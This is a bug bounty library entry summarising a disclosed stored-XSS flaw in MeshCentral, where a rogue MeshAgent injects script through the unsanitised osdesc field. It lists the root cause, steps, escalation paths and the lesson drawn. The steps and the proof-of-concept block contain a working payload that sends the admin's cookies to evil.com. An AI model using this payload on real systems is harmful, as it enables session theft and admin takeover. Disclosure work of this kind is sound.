# MeshCentral has unsanitized data fields

Rogue MeshAgent injects HTML/JS via unsanitized osdesc field, executing in admin browser when device details panel is viewed.

- Payout: Research
- Severity: high
- Program: MeshCentral
- Found by: kevthehermit
- Disclosed: 2026-08-18
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-c7hr-448w-65px
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-c7hr-448w-65px
- Tags: area:web domain:web impact:ato kind:research platform:ghsa sev:high tech:nodejs tech:websocket technique:incomplete-fix technique:source-review vuln:xss

**Target:** MeshAgent coreinfo WebSocket message rendered in admin device details panel
**Root cause:** Server stores agent-supplied osdesc with only a typeof string check (meshagent.js:1903); the UI renders it via addDeviceAttribute() → QH() which sets innerHTML without EscapeHtml(), and CSP allows 'unsafe-inline'.
**Steps:**
1. Connect as a rogue/compromised MeshAgent over WebSocket.
2. Send `{"action":"coreinfo","osdesc":"<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>","name":"Legit-PC"}`.
3. Server persists osdesc to device record with no sanitization.
4. Admin opens device details panel; default3.handlebars:8713 renders osdesc unescaped via addDeviceAttribute() → QH() innerHTML.
5. Payload executes in admin session; cookie exfiltrated to attacker.
**How found:** Code review of the agent→DB→UI pipeline; noticed osdesc escaped at some render sites (lines 13529, 5760) but not at line 8713, revealing an inconsistency, then confirmed CSP 'unsafe-inline' at webserver.js:7072 and lack of server-side sanitization in CloneSafeNode/validateObjectForMongo.
**Exploitation:** Attacker controls or compromises a MeshAgent, sends a coreinfo message with a malicious osdesc payload; it is stored and fires automatically (no click) when any admin views the device details panel, running JS in the admin's session under a CSP permitting inline script.
**Escalation:** Same unescaped pattern affects node.name in sharing/user-group/permission dialogs (HIGH), cpuinfo.thermals[].InstanceName attribute injection, and volumes[].name in file browser, widening injection surface.
**Insight:** When a field is escaped at some render sites but not others, the unescaped site is the bug — grep every sink for the same field. Agent-reported metadata (OS description, hostnames, volume names) is attacker-controlled and often trusted as display-only.

## Proof of concept (copied exactly from the original report)

**Rogue agent coreinfo WebSocket payload with XSS osdesc**

```
{
  "action": "coreinfo",
  "osdesc": "<img src=x onerror='fetch(\"https://evil.com/steal?\"+document.cookie)'>",
  "name": "Legit-PC"
}
```

